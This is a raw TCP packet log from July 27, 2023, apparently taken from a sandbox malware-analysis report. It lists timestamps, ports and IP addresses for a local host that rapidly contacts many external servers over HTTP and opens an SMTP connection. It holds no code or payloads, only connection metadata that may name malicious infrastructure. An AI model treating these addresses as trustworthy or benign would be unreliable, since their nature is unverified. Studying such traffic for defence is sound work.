Jul 27, 2023 21:52:55.516597033 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516625881 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516654015 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516671896 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516683102 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516709089 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516711950 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516726971 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516740084 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516756058 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516768932 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516781092 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516796112 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516809940 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516824007 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516839027 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.516860008 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.530787945 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.530919075 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.552783012 CEST	80	49794	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.571089983 CEST	80	49797	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:55.571991920 CEST	80	49797	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:55.572076082 CEST	80	49797	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:55.572108984 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.572160006 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.591020107 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.600044966 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.612416983 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.624923944 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:52:55.652623892 CEST	49777	80	192.168.2.4	64.125.133.18
Jul 27, 2023 21:52:55.731743097 CEST	80	49802	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.731936932 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.746388912 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.760696888 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:52:55.760838032 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:52:55.763114929 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:52:55.783349037 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.783390999 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.783545017 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.788718939 CEST	49804	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:55.804835081 CEST	80	49804	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:55.806171894 CEST	49804	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:55.870749950 CEST	49804	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:55.870934010 CEST	80	49797	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:55.872916937 CEST	49805	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:55.873872042 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:55.876157045 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.879268885 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:55.880525112 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880544901 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880563974 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880583048 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880604029 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880610943 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880624056 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880645037 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880666018 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880671024 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880671024 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880687952 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880693913 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880708933 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:55.880732059 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880752087 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.880767107 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.884922028 CEST	80	49802	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.884942055 CEST	80	49802	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.885020018 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.885020971 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.886848927 CEST	80	49804	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:55.889902115 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:55.890013933 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:55.895595074 CEST	80	49805	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:55.895752907 CEST	49805	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:55.895909071 CEST	49802	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.898530006 CEST	80	49804	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:55.898605108 CEST	49804	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:55.899034023 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:52:55.917243004 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:55.917745113 CEST	49805	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:55.933603048 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:55.940474987 CEST	80	49805	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:55.975624084 CEST	80	49807	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:55.975773096 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:55.976453066 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:52:55.982095003 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:55.983376980 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.018501043 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:56.018635035 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.027643919 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:52:56.034255028 CEST	80	49802	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:56.037452936 CEST	80	49805	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:56.037785053 CEST	49805	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:56.037959099 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.072719097 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:56.074404001 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:56.074536085 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.077907085 CEST	80	49807	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:56.077985048 CEST	80	49807	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:56.079555988 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:56.156174898 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156234980 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156302929 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156302929 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:56.156352997 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156389952 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:56.156389952 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:56.156400919 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156450987 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156464100 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:56.156490088 CEST	80	49798	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:56.156550884 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:56.192106962 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:56.213396072 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.213838100 CEST	49809	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.249823093 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:56.249938011 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:56.288144112 CEST	80	49807	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:56.288319111 CEST	49807	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:56.353230000 CEST	80	49809	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.353871107 CEST	49809	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.370888948 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.370898008 CEST	49811	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:56.371274948 CEST	49812	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:56.371747017 CEST	49809	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.391448021 CEST	80	49812	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:56.391565084 CEST	49812	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:56.401396036 CEST	80	49811	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:56.401561975 CEST	49811	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:56.401954889 CEST	49811	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:56.426851034 CEST	49812	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:56.432298899 CEST	80	49811	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:56.432792902 CEST	80	49811	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:56.432816029 CEST	80	49811	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:56.432878971 CEST	49811	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:56.446561098 CEST	80	49812	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:56.447143078 CEST	80	49812	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:56.447274923 CEST	49812	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:56.510582924 CEST	80	49809	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.510621071 CEST	80	49809	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.510745049 CEST	49809	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.525245905 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:56.535404921 CEST	49809	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.569610119 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:56.600277901 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.608014107 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.627585888 CEST	80	49816	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:56.627723932 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.629030943 CEST	80	49810	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:56.629129887 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.630706072 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.630896091 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.650367022 CEST	80	49816	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:56.650418997 CEST	80	49816	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:56.650521040 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.670069933 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.671508074 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.674226999 CEST	80	49809	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.691163063 CEST	80	49816	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:56.691303015 CEST	49816	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:56.691346884 CEST	80	49817	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:56.691432953 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.723459005 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.723916054 CEST	49818	80	192.168.2.4	172.67.173.200
Jul 27, 2023 21:52:56.739424944 CEST	80	49815	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.739525080 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.740384102 CEST	80	49818	172.67.173.200	192.168.2.4
Jul 27, 2023 21:52:56.740452051 CEST	49818	80	192.168.2.4	172.67.173.200
Jul 27, 2023 21:52:56.743005991 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.743602037 CEST	49818	80	192.168.2.4	172.67.173.200
Jul 27, 2023 21:52:56.744754076 CEST	80	49817	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:56.744998932 CEST	80	49817	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:56.745074987 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.759898901 CEST	80	49818	172.67.173.200	192.168.2.4
Jul 27, 2023 21:52:56.772320032 CEST	80	49818	172.67.173.200	192.168.2.4
Jul 27, 2023 21:52:56.772407055 CEST	49818	80	192.168.2.4	172.67.173.200
Jul 27, 2023 21:52:56.792167902 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:56.792258024 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:56.812139034 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.812437057 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:56.834059954 CEST	80	49817	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:56.834220886 CEST	49817	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:56.881444931 CEST	80	49815	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.881494999 CEST	80	49815	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:56.881577015 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.883471012 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.888876915 CEST	80	49810	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:56.888941050 CEST	80	49810	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:56.888978004 CEST	80	49810	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:56.889008999 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.889089108 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.898010969 CEST	49815	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:56.920224905 CEST	49810	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:56.987224102 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.034924984 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:57.036345959 CEST	80	49815	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:57.039668083 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:57.083188057 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.084328890 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.094420910 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.101799965 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.114320993 CEST	80	49823	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:57.114511967 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.114825010 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.121383905 CEST	80	49821	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:57.121517897 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.122509003 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.134635925 CEST	80	49823	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:57.134686947 CEST	80	49823	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:57.134766102 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.138956070 CEST	80	49824	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:57.139060974 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.157744884 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.160031080 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.160638094 CEST	80	49821	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:57.161117077 CEST	80	49821	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:57.161485910 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.178477049 CEST	80	49810	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:57.179970026 CEST	80	49823	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:57.180051088 CEST	49823	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:57.195153952 CEST	80	49824	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:57.195445061 CEST	80	49824	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:57.195549965 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.240365028 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.248819113 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:57.248950958 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.267026901 CEST	80	49819	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:57.267124891 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.279017925 CEST	80	49821	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:57.279136896 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:57.296607018 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.296724081 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.296968937 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.320182085 CEST	80	49820	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:57.320352077 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:57.333255053 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:57.333359957 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:57.334352016 CEST	80	49824	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:57.334440947 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:57.337435961 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:57.391899109 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:57.461252928 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:57.461512089 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:57.461635113 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.488534927 CEST	49825	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:57.489754915 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.518884897 CEST	80	49825	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:57.519118071 CEST	49825	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:57.529829025 CEST	49825	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:57.560322046 CEST	80	49825	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:57.560965061 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.561172962 CEST	80	49825	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:57.561245918 CEST	49825	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:57.567747116 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567783117 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567806005 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567831993 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567828894 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.567854881 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567883015 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567898989 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.567899942 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.567908049 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567929029 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567960024 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.567960024 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.567962885 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.567981005 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568078041 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.568591118 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568622112 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568643093 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568662882 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568662882 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.568684101 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.568690062 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.568726063 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.568757057 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.569542885 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.569574118 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.569593906 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.569607019 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.569614887 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.569632053 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.569638014 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.569649935 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.569684982 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.569710016 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.570470095 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.570497036 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.570533991 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.570535898 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.570555925 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.570560932 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.570578098 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.570580006 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.570602894 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.570625067 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.571392059 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.571419001 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.571449995 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.571461916 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.571471930 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.571491957 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.571491957 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.571495056 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.571513891 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.571552038 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.576221943 CEST	80	49819	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:57.578850985 CEST	80	49819	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:57.578939915 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.584105968 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584153891 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584192038 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584204912 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584233046 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584244967 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584248066 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584295988 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584306955 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584346056 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584356070 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584383011 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.584388971 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.584425926 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.585232973 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.585278988 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.585300922 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.585318089 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.585325003 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.585357904 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.585366011 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.585393906 CEST	80	49806	172.67.70.22	192.168.2.4
